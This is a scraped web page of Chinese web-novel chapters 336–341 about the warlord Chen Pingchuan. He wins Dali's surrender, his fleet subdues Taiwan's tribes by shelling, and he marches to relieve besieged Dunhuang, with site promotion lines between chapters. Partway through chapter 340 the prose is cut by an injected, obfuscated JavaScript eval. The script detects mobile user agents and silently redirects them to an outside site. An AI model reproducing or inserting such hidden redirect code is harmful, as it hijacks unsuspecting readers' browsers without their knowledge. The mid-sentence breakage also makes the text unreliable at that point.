一个苍老但有力的声音,打断了林勇的话。 是军师祭酒,郭仲达。 第336章 止戈为武,兵锋所指,是天下人心! 郭仲达拄着拐杖,颤颤巍巍地站起身,对着陈平川一揖,说道:“主公,老臣有话要说。” “先生请讲。”陈平川示意他坐下说。 郭仲达摇了摇头,坚持站着说道:“主公以雷霆手段火烧藤甲,定滇东,已尽显王霸之气。但接下来的大理,却不宜再用强攻。” “为何?”石头不解地问,“那大理国主,听说是个手无缚鸡之力的书生,咱们大军一到,他还不乖乖投降?” “匹夫之勇。”郭仲达瞥了石头一眼,毫不客气地说道,“大理段氏,立国数百年,在西南百姓心中,威望极高。我们若是强攻,即便能胜,也必然会激起当地所有部族的同仇敌忾。到时候,就算占领了土地,也得不到民心,后患无穷。” 他转向陈平川,继续说道:“据老臣所知,如今的大理国主段和誉,并非昏聩之君,只是生性淡泊,不喜争斗。他之所以被段兴这个旁支逼得退守洱海,并非无能,实乃不愿生灵涂炭。对于这样的人,我们应当以怀柔之策待之。” “怀柔之策?”陈平川饶有兴致地看着他,“先生的意思是……劝降?” “正是。”郭仲达的眼中闪烁着赞许的光芒,“段兴已死,段和誉最大的威胁已经解除。此时,主公若能派一名使者,晓以利害,陈说大义,许其富贵,保其宗庙。老臣相信,段和誉为了大理万千百姓免遭战火,定会做出明智的选择。” “如此一来,主公便可不费一兵一卒,尽得大理全境。既得了土地,又收了民心,此乃上上之策!” 郭仲达的一番话,让在场所有人都陷入了沉思。 陈平川更是暗暗点头,这个郭仲达,果然是个人才。他不仅懂军事,更懂政治,懂得如何用最小的代价,换取最大的利益。 “先生所言极是。”陈平川赞许道,“只是,这使者的人选……不知先生可有推荐?” 郭仲达微微一笑,挺直了腰板,朗声道:“主公若信得过老臣,老臣愿亲往洱海,为主公说服那段和誉!” 陈平川看着眼前这个须发皆白,连走路都需要拄拐杖的老人,心中涌起一股敬意。 他当即起身,对着郭仲达,深深一揖。 “有先生为使,此事必成!平川,在此静候佳音!” 三日后,一支小小的队伍,带着陈平川的亲笔信和丰厚的礼物,从破虏军大营出发,向着洱海的方向而去。 领头的,正是郭仲达。 半个月后,洱海边上,风景如画的无量山。 大理国主段和誉,正在自己的书房内,临摹着一幅前朝的山水画。他年约三旬,面如冠玉,气质儒雅,与其说是国主,不如说更像一个不问世事的富家公子。 “陛下,外面有一位自称是陈平川麾下军师祭酒的老先生,求见。”一名内侍小心翼翼地禀报。 段和誉的笔尖微微一顿,一滴墨汁,毁了整幅画。 他放下笔,叹了口气。 该来的,终究还是来了。 段兴被火烧葫芦谷的消息,他早就知道了。对于那个野心勃勃的族弟,他并无多少同情。但他更担心的是,那个叫陈平川的男人。 能用如此狠辣的手段,全歼藤甲兵的人,会是一个什么样的人? 他会放过大理吗? “让他进来吧。”段和誉整理了一下衣冠,正襟危坐。 很快,郭仲达在内侍的引领下,走了进来。 “大业使臣郭仲达,拜见大理国主。”郭仲达不卑不亢地行了一礼。 “先生不必多礼,请坐。”段和誉打量着眼前的老人,见他虽然风尘仆仆,但气度俨然,心中不敢小觑。 两人分宾主落座,寒暄了几句。 郭仲达便开门见山,将陈平川的亲笔信,呈了上去。 段和誉接过信,展开细读。 信上的字迹,苍劲有力,入木三分。信中的内容,却出乎他的意料。 没有威胁,没有恐吓,通篇都在讲天下大势,百姓疾苦。 陈平川在信中,盛赞段氏先祖保境安民之功,又痛陈如今乱世,割据一方非长久之计,最后,诚恳地邀请段和誉,能顺天应人,与他共创一个太平盛世。 并且,他承诺,只要段和誉愿意归附,他将保留大理段氏的一切爵位和财产,并奉其为上宾,绝不干涉其生活。 段和誉拿着信,久久不语。 郭仲达也不催促,只是静静地喝着茶。 良久,段和誉才抬起头,目光复杂地看着郭仲达:“陈将军……当真能扫平六合,还天下一个太平?” 郭仲达放下茶杯,看着他的眼睛,一字一句地说道:“我家主公,起于微末,平倭寇,定江徽,败水师,破萧赞,灭李义……他百战百胜,靠的不是运气,而是民心。国主陛下,您看看他治下的土地,百姓安居乐业,路不拾遗。再看看这天下,饿殍遍野,易子而食。” “孰是真龙,孰为窃贼,陛下的心中,难道还没有答案吗?” 郭仲达的话,让段和誉心头巨震。 他闭上眼睛,脑海中浮现出这些年看到的种种乱象,和他眼前这片世外桃源般的洱海,形成了鲜明的对比。 他知道,这片宁静,是脆弱的。 如果没有一个强大的力量来庇护,迟早会被乱世的洪流所吞噬。 良禽择木而栖。 或许,那个叫陈平川的男人,真的是大理,也是天下百姓,最好的选择。 “唉……”段和誉长长地叹了口气,仿佛卸下了千斤重担。 他再次看向郭仲达,眼神已经变得清明而坚定。 “请先生回复陈将军,三日之后,段和誉,将亲赴曲靖,纳土归降。” …… 段和誉要亲自前来归降的消息,让整个破虏军大营都沸腾了。 不费一兵一卒,便得大理全境。 这在许多将领看来,简直是不可思议的奇迹。他们对郭仲达这位其貌不扬的老先生,佩服得五体投地。同时也对自家主公的知人善任,高瞻远瞩,愈发崇拜。 陈平川对此却显得很平静。 他下令大军后撤三十里,并派出最高规格的仪仗队,前往边境,迎接段和誉的到来。 这个举动,让所有人都大为不解。 “主公,我们是胜利者,何必对他如此客气?”石头挠着头问道。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第337章 文治西南归民心,武拓东海镇波涛 “你懂个屁!”马三没好气地瞪了他一眼,“我们打的是段兴,不是大理。段和誉是主动归降,是我们的朋友,不是我们的阶下囚。我们今天给他多大的面子,明天大理的百姓和那些土司,就会给我们多大的支持。这叫政治姿态,懂吗?” 石头被训得一愣一愣的,似懂非懂地点了点头。 三天后,在曲靖城外的官道上,陈平川亲率所有高级将领,举行了盛大的欢迎仪式。 当段和誉的车驾出现时,军乐齐鸣,三军将士山呼“恭迎段王”,声震四野。 车内的段和誉,被这阵仗惊得不轻。他本以为自己会受到百般刁难,甚至羞辱,没想到陈平川竟会给他如此高的礼遇。 他走出马车,看到那个比他还年轻十几岁的男人,正满脸微笑地看着自己。 “在下陈平川,恭迎段王大驾。”陈平川上前一步,拱手行礼。 段和誉连忙回礼,诚惶诚恐地说道:“罪臣段和誉,不敢当将军如此大礼。今日,特来献上大理国疆域图册与国主玉玺,还望将军收下。” 他说着,便让随从将早已准备好的东西,呈了上来。 陈平川没有去接,反而亲手将段和誉扶起,笑道:“段王言重了。你我之间,何来‘罪臣’一说?你以一国相托,乃是对平川最大的信任。从今往后,你我便是兄弟。大理,依旧是你的家。我不会动你分毫,只会让这片土地,在我的治理下,变得比以前更加富庶安宁。” 他这番话,说得情真意切,不似作伪。 段和誉感动得热泪盈眶,他知道,自己赌对了。 他对着陈平川,深深一拜:“平川公大义,和誉,心服口服!” 自此,西南门户,彻底为陈平川打开。 江徽、建州、滇东、大理,四块广袤的土地,连成了一片,形成了一个稳固无比的巨大后方。 更重要的是,从大理再往西,翻过几座雪山,便是吐蕃东境。穿过吐蕃的势力范围,就能抵达陈平川在西域的根基——敦煌。 那条因为大业朝廷崩溃而中断了数年的商路和信息通道,终于有了重新连接起来的可能。 陈平川立刻从暗影六子中,挑选了最机警、最擅长伪装的马三,让他带领一支由精锐组成的商队,携带大量的丝绸、茶叶和雪花盐,以及一封给秦王祝衡的亲笔信,踏上了西行的道路。 他要尽快和敦煌的归义军,取得联系。 一旦东西两块地盘彻底打通,资源、兵员、情报可以互通有无,那他的实力,将发生翻天覆地的变化。 送走了马三,陈平川便开始着手对新占领的西南地区,进行大刀阔斧的改革。 他没有急于离开,而是亲自坐镇昆城(原曲靖),将江徽府的那一套成功经验,原封不动地搬了过来。 首先,是清丈田亩,打压豪强。 将从段兴和那些附逆的土司手中抄没来的土地,全部分给无地的百姓。并宣布,三年之内,免除一切苛捐杂税。 这一招,让他迅速赢得了底层百姓的拥护。 其次,是兴修水利,推广新作物。 他从自己的老家庐州,调来了大批的农业技术人才,教导当地百姓种植更高产的土豆和玉米。这些作物,不挑土地,非常适合西南的山地环境。 再者,便是开办学堂,推行教化。 他下令,在所有州县,都必须建立至少一所蒙学,所有适龄儿童,无论贫富,无论男女,皆可免费入学。课本,统一使用他亲自编纂的简化版。 他要做的,不仅仅是这片土地的征服者,更是文明的传播者。他要从根子上,改变这片土地的落后与蒙昧。 短短几个月的时间,整个西南地区,便呈现出一片欣欣向荣的景象。 百姓们脸上有了笑容,田野里响起了歌声。 陈平川的威望,达到了前所未有的高度。当地百姓,甚至自发地为他修建生祠,将他奉若神明。 站在昆明城的城楼上,陈平川俯瞰着这座在他的治理下,焕发出全新生机的城市,心中豪情万丈。 一个稳固的后方基地,已经建成。 他的目光,越过重重山峦,望向了北方。 那里,有富庶的天府之国,蜀地。有九省通衢的荆襄。 还有,那帮在中原大地上,打得不可开交的所谓“王侯将相”。 “让子弹,再飞一会儿。”陈平川喃喃自语。 “等我的西征军休整完毕,等我的新式火器运到前线,就是我陈平川,逐鹿中原的时候了!” 就在陈平川在西南地区大展拳脚,稳固后方的同时。 东海之上,一支庞大的舰队,正乘风破浪,向着茫茫深蓝,扬帆远航。 玄色的“镇海”大旗,在旗舰的桅杆上猎猎飞扬。 丁远一身笔挺的深蓝色海军戎装,手持单筒千里镜,站在高大的船楼上,面容沉静如水。 自从在江徽府接受了陈平川的任命,他便将全部的精力,都投入到了这支舰队的建设之中。 他没有辜负陈平川的厚望。 在他的严格操练和陈平川提供的先进理念指导下,镇海舰队,早已脱胎换骨。 士兵们不再是以前那些只懂接舷战的水师官兵,他们学会了看海图,学会了测算风向和洋流,更学会了如何操作那种威力巨大的新式武器——后膛火炮。 这种由技术总管全伯,根据陈平川提供的图纸,日夜赶工制造出来的火炮,射程更远,射速更快,精准度更高。 每一艘主力战舰上,都装备了至少十门这样的火炮。 如今的镇海舰队,已经是一支真正意义上的近代化海军,是这片大海上,当之无愧的霸主。 按照陈平川的战略部署,丁远将舰队分成了两支。 一支由经验丰富的老将林沧海率领,在南海沿岸巡航,主要任务是清剿海盗,保护商路,同时监视岭南冯彦章的一举一动。 而他自己,则亲率舰队主力,执行一个更具开创性的任务——东征宝岛。 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第338章 舰队所至,皆为王土!不服者,轰成渣! 宝岛,也就是后世的台岛。 在这个时代,它还是一片未经开发的蛮荒之地。岛上只有一些零星的汉人渔村,和众多以渔猎为生的原住民部落。 大业朝廷,对这片海外之地,几乎没有任何实际控制力。这里,也成了海盗和倭寇最喜欢的藏身之所。 丁远的舰队,如同一群巡视自己领地的雄狮,浩浩荡荡地出现在了宝岛西岸的海面上。 巨大的战舰,遮天蔽日的船帆,黑洞洞的炮口,让岸上那些零星的渔村和部落,都陷入了巨大的恐慌之中。 他们以为,又来了新的,更强大的海盗。 但丁远,并没有像那些海盗一样,直接上岸烧杀抢掠。 他牢记着陈平川的嘱咐:“对付这些未开化的土着,武力威慑是必要的,但怀柔和贸易,才是长久之计。我们要的,不是一片焦土,而是一个可以为我们提供资源和补给的前进基地。” 舰队在一处水深浪小的海湾下锚,并没有急于登陆。 丁远派出了几艘小船,船上没有带武器,只装载了大量的雪花盐、精美的布匹、锋利的铁器,还有一些廉价又好喝的烈酒。 小船靠岸后,水手们将这些货物,摆放在沙滩上,然后便退回了船上,用手势和简单的词语,向着远处树林里那些探头探脑的原住民,示意他们可以过来交换。 一开始,那些皮肤黝黑,身上画着图腾的原住民们,还非常警惕。 但他们很快就发现,这些穿着奇怪蓝色衣服的人,似乎真的没有恶意。 而沙滩上那些东西,对他们有着致命的诱惑。 洁白如雪的盐,是他们最稀缺的物资。锋利的铁制砍刀和矛头,能让他们在狩猎时事半功倍。还有那漂亮的布匹和能让人忘记烦恼的烈酒…… 终于,一个胆大的部落首领,带着族人,小心翼翼地走出了树林。 他尝试着,用几张兽皮,换取了一小袋盐。 交易,成功了。 水手们脸上露出了友善的笑容。 这个口子一旦打开,就再也收不住了。 越来越多的部落,加入了交易的行列。他们用自己多余的猎物、鹿皮、木材、硫磺矿石,换取着来自大陆的,他们梦寐以求的商品。 这就是陈平川“以商制夷”策略的精髓。 用经济,将这些部落,牢牢地绑在自己的战车上。 当然,也并非所有部落都那么友好。 一个盘踞在南方的,名为“黑岩”的部落,就异常排外和凶悍。他们不但拒绝交易,还偷袭了丁远派出的一个勘探小队,杀死了两名士兵。 对于这种顽固分子,丁远便不再客气。 第二天,三艘装备了后膛火炮的战舰,便出现在了黑岩部落外的海面上。 “开火!给他们一个永生难忘的教训!” 丁远冷冷地下达了命令。 “轰!轰!轰!” 数十枚炮弹,拖着呼啸的风声,精准地落在了黑岩部落的寨子里。 木制的房屋,简陋的防御工事,在爆炸的气浪和纷飞的弹片面前,脆弱得如同纸糊的一般。 部落的战士们,还来不及冲上前来,就已经被炸得血肉横飞。 这完全是一场降维打击。 黑岩部落的族人,何曾见过如此恐怖的武器?他们以为是天神发怒,降下了雷罚,一个个吓得屁滚尿流,跪在地上,磕头求饶。 仅仅一轮炮击,这个在南部地区凶名赫赫的部落,就彻底崩溃了。 这一战,也彻底打响了镇海舰队的名号。 所有原住民部落,都明白了,海面上那些巨大的钢铁怪兽,不仅能带来他们想要的货物,更能带来毁灭性的灾难。 从此,再无人敢挑衅镇海舰队的威严。 丁远趁机在海湾处,建立了一座坚固的军事要塞和港口,命名为“镇海港”。 他开始有计划地向岛内移民,开垦田地,建立伐木场和矿场。 这座被遗忘了数百年的宝岛,开始在陈平川的规划下,焕发出勃勃的生机。它丰富的硫磺、樟脑、木材和黄金资源,将为陈平川的争霸大业,提供源源不断的动力。 丁远站在镇海港的城头,望着眼前这片蔚蓝色的,一望无际的海洋,心潮澎湃。 他知道,父亲的遗愿,正在以一种他从未想象过的方式,一步步地实现。 而他,将追随着那个年轻主公的脚步,将这玄色的“镇海”大旗,插遍这片大洋的每一个角落。 …… 自昆城休整完毕,陈平川继续亲率四万大军,浩浩荡荡一路向西。 大军旌旗招展,玄色的“陈”字大旗在风中猎猎作响,其后是破虏军、靖海营等各色旗帜,组成一片望不到头的枪戟森林。 与以往任何一支军队都不同,这支队伍行军途中,军容严整,秋毫无犯。 士兵们身着统一的蓝色军服,步履沉稳,脸上没有寻常军队的痞气和麻木,反而透着一股昂扬的自信。 这近一月的行军,穿越了湿热的丛林,翻过了崎岖的山脉,如今踏上了河西走廊的边缘,地貌豁然开朗。 干燥的风卷着沙砾,吹在人脸上,带来一种粗粝的质感。 “主公,再往前走,就是沙州地界了,那里现在是归义军的地盘。”军师郭仲达骑在马上,与陈平川并行,指着远方苍茫的地平线说道。 陈平川点了点头,心中却在盘算着。自打上次黑风寨商队送来消息,已经过去三年了,也不知祝衡和归义军如今怎么样了。 按理说,有他留下的那些技术和理念,加上祝衡的能力,归义军应该发展得不错才对。 他这次西征,平定西南只是第一步,更重要的目的,就是打通与西域的联系,将归义军这支重要的力量彻底整合进来,形成东西合围之势,为日后北伐中原打下坚实的基础。 就在这时,前方的斥候快马加鞭地奔了回来,为首的正是暗影六子中的燕飞。 “主公!”燕飞勒住马,翻身下马,单膝跪地,“前方十里处发现一支小队,约莫十几骑,正被数百吐蕃骑兵追杀,眼看就要撑不住了!” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第339章 铁骑驰援破虏阵,故人泣血诉危情 吐蕃骑兵? 陈平川眉头一挑。吐蕃的主力不是在青海那边吗?怎么会跑到河西走廊来追杀一支小队? “对方是什么人?”王奎瓮声瓮气地问道。 “看旗号和服饰,像是归义军的人。”燕飞答道。 归义军的人?陈平川心里咯噔一下,一种不好的预感涌上心头。 归义军和吐蕃一向是死敌,但也不至于让吐蕃人这么明目张胆地追杀到沙州腹地。 “妈的,吐蕃人也太嚣张了!”林勇脾气火爆,当即请战,“主公,末将愿带一队人马,去把那帮杂碎的脑袋拧下来!” “别冲动。”陈平川抬手制止了他,神情变得严肃起来,“情况不明,先救人要紧。秦锋!” “末将在!”秦锋催马向前一步。 “你率五百破风骑,即刻前去救援。记住,击溃敌军,把我们的人救下即可,最好抓几个活口回来问话。”陈平川冷静地下令。 “遵命!”秦锋领命,没有丝毫拖泥带水,手臂一挥,身后五百名精锐骑兵立刻脱离大队,如一道离弦之箭,卷起漫天烟尘,朝着前方疾驰而去。 陈平川则下令大军原地稍作休整,同时保持警戒。他自己则带着郭仲达、王奎、石头等一众亲卫,登上了附近一处高坡,用望远镜观察着远方的战况。 望远镜的视野中,一支十几人的小队正被数百名身穿皮甲、手持弯刀的吐蕃骑兵死死咬住。归义军的骑士们显然已经力竭,好几个人身上都带着伤,全靠着一股悍不畏死的血勇之气在苦苦支撑。 他们的阵型已经散乱,眼看就要被分割包围。 就在这千钧一发之际,秦锋率领的破风骑如神兵天降,从侧翼猛地撞入了吐蕃人的追击队伍。 破风骑的士兵们坐姿沉稳,在颠簸的马背上举起了手中的火铳。 “开火!” 伴随着秦锋一声令下,“砰砰砰”的枪声在空旷的戈壁上骤然响起,密集如炒豆。 正在追杀的吐蕃骑兵们,只听到一阵阵雷鸣,然后就看到身边的同伴连人带马,身上爆出血花,惨叫着栽倒在地。 这完全是降维打击。 吐蕃人立即展开了反击,但他们引以为傲的骑射,在火铳的射程和威力面前,简直像个笑话。他们还没冲到跟前,就已经倒下了一片。 只一个照面,吐蕃人的冲锋势头就被彻底遏制,阵脚大乱。 “换刀!冲锋!”秦锋一枪将一名吐蕃百夫长从马上打落,随即收起火铳,拔出腰间的马刀,一马当先,如猛虎下山般冲入敌阵。 五百破风骑紧随其后,他们娴熟地切换武器,手中的马刀在阳光下划出一道道森冷的寒光,狠狠地劈向惊慌失措的敌人。 战斗几乎是一面倒的屠杀。 吐蕃骑兵的士气在火铳的轰鸣中早已崩溃,此刻面对破风骑的凶猛冲锋,更是毫无战心,纷纷调转马头,哭爹喊娘地四散奔逃。 秦锋牢记陈平川的命令,没有追击敌寇,只是带人追杀了一阵,斩杀了百余人,俘虏了几个看似头目的家伙,便收拢了部队。 高坡上,林勇看得是目瞪口呆,咂舌道:“乖乖,秦锋这小子现在是越来越猛了。这破风骑,简直就是骑兵的克星啊!” 陈平川放下望远镜,脸上却没有丝毫喜悦。 这场小规模的胜利,反而让他心中的不安愈发浓重。 很快,秦锋便押着几个俘虏,护着那支幸存的归义军小队回来了。 归义军的骑士们个个带伤,盔甲破损,狼狈不堪,但眼神里却透着一股劫后余生的庆幸和看到同为汉人军队的激动。 为首的是一个须发皆白的老将,他看起来六十多岁,左腿中箭,走路一瘸一拐,但腰杆却挺得笔直。他下了马,在亲兵的搀扶下,快步走到陈平川面前。 当他看清陈平川的面容时,浑浊的眼睛里瞬间爆发出难以置信的光彩,嘴唇哆嗦着,整个人都激动得发起抖来。 “是……是您?陈……陈军师?” 陈平川也认出了他。眼前这个老将,正是当初他在敦煌时,归义军中对他最为敬重和信服的副将之一,姚北辰。 他还记得,当年敦煌断水,全城陷入绝望,正是这位姚老将军,第一个站出来支持他用蒸馏法制水,也是他,在张武等人质疑时,亲自去劝说。 只是,这才过去一年多,当初那个精神矍铄的老将军,怎么变得如此苍老憔悴? “姚将军,是我。”陈平川翻身下马,快步上前扶住他,“你怎么会在这里?还被吐蕃人追杀?敦煌到底发生了什么事?” 姚北辰的眼眶一下子就红了,他再也支撑不住,猛地挣脱亲兵的搀扶,“噗通”一声,重重地跪倒在陈平川面前,坚硬的铠甲砸在地上,发出一声闷响。 “陈军师!主公!”老将军的声音里带着哭腔,嘶哑而绝望,“求求您,快去救救敦煌吧!再晚一步,敦煌……敦煌就完了啊!” 一句话,让在场所有人的心,都猛地沉了下去。 这章没有结束,请点击下一页继续阅读!“姚将军别急,坐下慢慢说。”陈平川赶快扶起姚北辰,让他坐下。 姚北辰喝了一口水,稍微平复了一下情绪,但那张布满风霜的脸上,依旧写满了悲怆和绝望。 帐内,陈平川居中而坐,面沉如水。郭仲达、王奎、林勇、石头、海哥等一众高级将领分列两侧,所有人的目光都聚焦在姚北辰身上,等待着他揭晓那个令人不安的谜底。 “姚将军,敦煌到底出了什么事?祝王爷呢?”陈平川的声音低沉而有力,带着一股安抚人心的力量。 提到祝衡,姚北辰的眼泪又一次涌了出来。他用粗糙的手背抹了一把脸,声音哽咽地说道:“主公……祝王爷他……他被困在敦煌城里,生死未卜啊!” “什么?!”林勇铜铃大的眼睛瞪得溜圆,“被困住了?被谁?就凭那些吐蕃杂碎?” “不止吐蕃人……”姚北辰摇了摇头,脸上露出刻骨的恨意,“还有甘州回鹘!他们……他们两家竟然联合起来了!” “回鹘和吐蕃结盟了?”郭仲达大吃一惊,这完全超出了他的预料,“这怎么可能?他们为了丝绸之路的商道,打了上百年,仇深似海,怎么会突然联手?” “千真万确!”姚北辰用力捶了一下自己的伤腿,悔恨地说道,“都怪我们……都怪我们太大意了!我们都以为他们会像往常一样,在草原上先打个你死我活,我们还能坐收渔翁之利。谁能想到,他们这次竟然学聪明了!” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第340章 孤城泣血将军陨,主公一怒风云变 陈平川的脸色愈发阴沉。他知道,这背后一定有更深层次的原因。 单一的部落联盟,或许是偶然。但两个世仇的联合,背后必然有一个共同的、巨大的利益驱动,或者说,一个共同的、让他们感到恐惧的威胁。 而这个威胁,很可能就是发展得太过迅猛的归义军。 “他们定下毒计,要先灭掉我们归义军,瓜分河西,然后再图谋中原!”姚北辰的声音里充满了血与火,“他们先是假意议和,麻痹我们,然后突然发难,在玉门关外设下埋伏。我们……我们中计了!” 老将军的声音开始颤抖,仿佛又回到了那个尸山血海的战场。 “张烈将军为了掩护主力撤退,亲率三千铁骑断后……全军覆没!老将军他……他战**!” “轰!” 这个消息如同一道晴天霹雳,在帐内所有人的脑海中炸响。 马三、玲儿这些曾经和张烈并肩作战过的人,眼眶瞬间就红了。 他们还记得那个豪爽、固执,却又对汉家故土爱得深沉的归义军统帅。 那个在庆功宴上,因为“归乡”还是“立国”而与陈平川争得面红耳赤,最后却又选择相信陈平川的铁血将军。 他就这么战**? 陈平川的心脏,更是一阵阵地抽痛。 他和张烈有过分歧,有过争执,但他敬重张烈的为人。那是一个纯粹的军人,一个用生命守护汉家血脉在西域最后一片土地的英雄。 “张烈将军……”陈平川喃喃自语,双拳在案下悄然握紧,指节因为用力而发白。 “祝王爷和阿丽娜女王,带着残部和白羚部的族人,退守敦煌孤城。”姚北辰继续说道,声音已经嘶哑得不成样子,“敌军不下五万,将敦煌围得水泄不通。城中兵力不足五千,粮草也撑不了多久了……我……我是祝王爷拼死派出来求援的。若非半路遇到主公的天兵,恐怕也已经……” 说到这里,老将军再也说不下去,伏在地上,嚎啕大哭。一个年过花甲、身经百战的沙场宿将,哭得像个无助的孩子。 整个大帐死一般的寂静,只有老将军悲痛的哭声在回荡。 所有将领的脸上,都布满了愤怒和杀气。 “**!”林勇猛地一拳砸在身前的案几上,坚硬的木头发出一声不堪重负的呻吟,“欺人太甚!真当我们汉家无人了吗?!” “主公!下令吧!末将愿为先锋,杀穿他们**的阵地,救出祝王爷!”王奎踏前一步,声如洪钟。 “主公,我们必须立刻出兵!”海哥也沉声说道,“敦煌是我们在西域的根基,一旦失守,我军将被彻底拦在玉门关以东,西进之路断绝,后果不堪设想!” 将领们群情激奋,纷纷请战。 陈平川缓缓站起身,他的脸上看不出喜怒,但那双深邃的眼眸里,却燃烧着一股足以焚尽一切的火焰。 如果连自己的兄弟都救不了,如果连西域这块唯一的根据地都保不住,还谈什么光复河西?谈什么重归大业?谈什么北伐中原,为景帝报仇,为天下万民开创一个太平盛世? 那一切都将成为一个笑话。 陈平川的目光扫过帐下每一位神情激动的将领,扫过他们眼中燃烧的怒火和战意。 他知道,不需要再动员了。 兄弟蒙难,袍泽被屠,故土遭劫。 这一战,为复仇!为救援!为生存! 他走到地图前,目光落在“敦煌”那两个字上,声音不大,却清晰地传遍了整个大帐,带着不容置疑的决断。 “传我将令!” “全军听令,即刻拔营!” “目标,敦煌!” “此战,不计伤亡,不留俘虏!我要让回鹘和吐蕃人知道,敢动我兄弟者,我便叫他亡族灭种!” 他猛地一拳砸在地图上,正中敦煌的位置。 “全军出击,拯救敦煌!” 陈平川的命令如同一股东风,瞬间吹燃了整个军营的滔天烈火。 “全军出击,拯救敦煌!” 口令一级级传达下去,原本还在休整的四万大军,立刻以一种惊人的效率动员起来。 士兵们迅速收拾行装,检查武器,脸上再无一丝疲惫,带着凛冽的杀气,准备奔赴战场! 伙头营的炉火烧得更旺,他们要在最短的时间内为全军准备好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16277279|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 急行军所需的干粮。 中军大帐内,陈平川已经冷静下来,开始有条不紊地部署作战计划。 “郭军师。” “属下在。” “你立刻根据姚将军提供的情报,结合我们现有的地图,规划出一条最快抵达敦煌的行军路线。我不管什么大路小路,我只要速度!一天之内,我要看到结果。” “遵命!”郭仲达领命,立刻铺开地图,叫上几名参谋,开始紧张地计算和推演。 “王奎,林勇,海哥!” “末将在!”三人齐声应道。 “你们各自回到本部,立刻进行战前动员。告诉弟兄们,我们的汉人兄弟,正被数万敌军围困在孤城,随时都有城破人亡的危险!我们是去救人,是去复仇!所有人的弦都给我绷紧了,谁敢在路上掉链子,军法从事!” “是!”三人眼中燃着火,重重抱拳,转身大步走出帐外。 “石头!” “主公。”石头像一座铁塔,无声地站在陈平川身后。 “你的重甲步兵营是全军的拳头,但行军速度慢。我会让你们随主力部队行动,但你要保证,一旦接战,你的营头必须能在第一时间凿穿敌人的阵线!” “主公放心,石头和弟兄们绝不会让您失望。”石头的声音一如既往地沉稳。 最后,陈平川的目光落在了秦锋身上。 “秦锋,你的破风骑是全军的眼睛和尖刀。我需要你做三件事。”陈平川伸出三根手指。 秦锋凝神倾听。 “第一,我分拨给你最好的战马和斥候,你部先行,为大军探明前路,扫清一切障碍。我不希望大军的行军速度被任何小股敌人所迟滞。” “第二,想办法绕过敌人的封锁线,把我们大军来援的消息,送进敦煌城!告诉祝王爷,援军已至,让他务必再坚守三日!” “第三,”陈平川的声音沉了下来,“找到敌人的薄弱点。回鹘和吐蕃联军,貌合神离,指挥系统必然存在漏洞。我要你像一匹狼,在他们意想不到的地方,狠狠地咬上一口,让他们感到疼,感到恐惧,为我主力大军的到来,创造最好的战机!” 第341章 三军闻令星夜驰,一缕狼烟定军心 这三个任务,一个比一个艰巨。尤其是第二和第三,几乎是不可能完成的任务。要在数万敌军的封锁下潜入敦煌,还要在他们身上咬一口,这无异于虎口拔牙。 但秦锋的脸上没有丝毫畏惧,他单膝跪地,声音铿锵有力:“主公放心,秦锋纵使粉身碎骨,也必完成任务!” 陈平川满意地点了点头,上前将他扶起,拍了拍他的肩膀:“去吧,我等你的好消息。” 安排完这一切,陈平川又转向一脸焦急的姚北辰。 “姚将军,你的任务最重。”陈平川正色道,“我会派一百名最精锐的亲卫护送你,给你换上最好的快马。你必须用最快的速度赶回敦煌附近,接应秦锋。你是归义军的老将,熟悉地形和人脉,有你在,秦锋才能事半功倍。” “主公……”姚北辰没想到陈平川还记得自己,激动得不知说什么好。 “去吧,告诉城里的将士们,我陈平川,回来了!” “是!”姚北辰重重地一点头,仿佛年轻了二十岁,眼中重新燃起了希望的火焰。 一天后,郭仲达规划的急行军路线图便送到了陈平川的案头。 那是一条几乎放弃了所有官道,穿插于山谷和戈壁之间的捷径,虽然路途艰险,但却能比正常行军缩短至少五天的时间。 “就走这条路!”陈平川拍板决定。 次日清晨,天还未亮。 秦锋和姚北辰率领着五百破风骑和一百亲卫,如幽灵般消失在茫茫的夜色中。 紧接着,陈平川亲率由火铳营、破虏军精锐组成的一万五千人先锋部队,踏上了征程。 大军舍弃了所有不必要的辎重,每人只携带三天的干粮和足够的水,轻装简行。 这是一场与时间的赛跑。 行军的艰苦超出了所有人的想象。白天,是戈壁滩上火辣的太阳和无处不在的风沙;夜晚,是骤然降临的严寒。脚下的路,时而是硌脚的碎石,时而是松软的流沙,每一步都走得异常艰难。 但没有一个人叫苦,没有一个人掉队。 士兵们的脑海里,只有一个念头:快一点,再快一点! 祝王爷还在等着他们,敦煌的袍泽还在等着他们! 陈平川和所有士兵一样,徒步行军,吃一样的干粮,喝一样的浑水。他以身作则,极大地鼓舞了全军的士气。 夜间宿营时,他会亲自去巡视营地,和士兵们聊上几句,拍拍他们的肩膀。 “弟兄们,再坚持一下!等救出了祝王爷,我请大家喝最好的酒,吃最肥的羊!” 士兵们被他感染,纷纷咧嘴笑着回应: “主公放心,我们撑得住!” “就是,不就是走几步路嘛,比在江徽府跟倭寇拼命轻松多了!” “等到了敦煌,看我们不把那帮龟孙打出屎来!” 一股无形的凝聚力,在艰苦的行军中悄然形成,让这支军队变得更加坚不可摧。 就这样,大军以一种近乎疯狂的速度,向着敦煌的方向狂奔。 他们如同一柄烧红的利剑,即将狠狠地刺进敌人的心脏。 而此时,在他们前方数百里外,一场关乎生死的潜行,也已经拉开了序幕。 敦煌城外,杀声震天。 数万名回鹘与吐蕃联军,如同黑色的潮水,一波又一波地冲击着这座屹立在戈壁上的孤城。 